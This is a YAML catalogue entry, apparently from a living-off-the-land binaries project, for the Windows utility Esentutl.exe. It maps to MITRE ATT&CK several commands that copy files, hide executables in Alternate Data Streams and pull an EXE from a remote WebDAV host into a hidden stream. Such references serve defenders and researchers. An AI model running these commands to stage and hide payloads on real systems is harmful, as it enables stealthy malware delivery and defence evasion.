--- Name: Esentutl.exe Description: Binary for working with Microsoft Joint Engine Technology (JET) database Author: 'Oddvar Moe' Created: '2018-05-25' Commands: - Command: esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o Description: Copies the source VBS file to the destination VBS file. Usecase: Copies files from A to B Category: Copy Privileges: User MitreID: T1105 MitreLink: https://attack.mitre.org/wiki/Technique/T1105 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - Command: esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o Description: Copies the source EXE to an Alternate Data Stream (ADS) of the destination file. Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure Category: ADS Privileges: User MitreID: T1096 MitreLink: https://attack.mitre.org/wiki/Technique/T1096 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - Command: esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o Description: Copies the source Alternate Data Stream (ADS) to the destination EXE. Usecase: Extract hidden file within alternate data streams Category: ADS Privileges: User MitreID: T1096 MitreLink: https://attack.mitre.org/wiki/Technique/T1096 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - Command: esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o Description: Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file. Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure Category: ADS Privileges: User MitreID: T1096 MitreLink: https://attack.mitre.org/wiki/Technique/T1096 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - Command: esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o Description: Copies the source EXE to the destination EXE file Usecase: Use to copy files from one unc path to another Category: Download Privileges: User MitreID: T1096 MitreLink: https://attack.mitre.org/wiki/Technique/T1096 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 Full Path: - Path: C:\Windows\System32\esentutl.exe - Path: C:\Windows\SysWOW64\esentutl.exe Code Sample: - Code: Detection: - IOC: Resources: - Link: https://twitter.com/egre55/status/985994639202283520 Acknowledgement: - Person: egre55 Handle: '@egre55' ---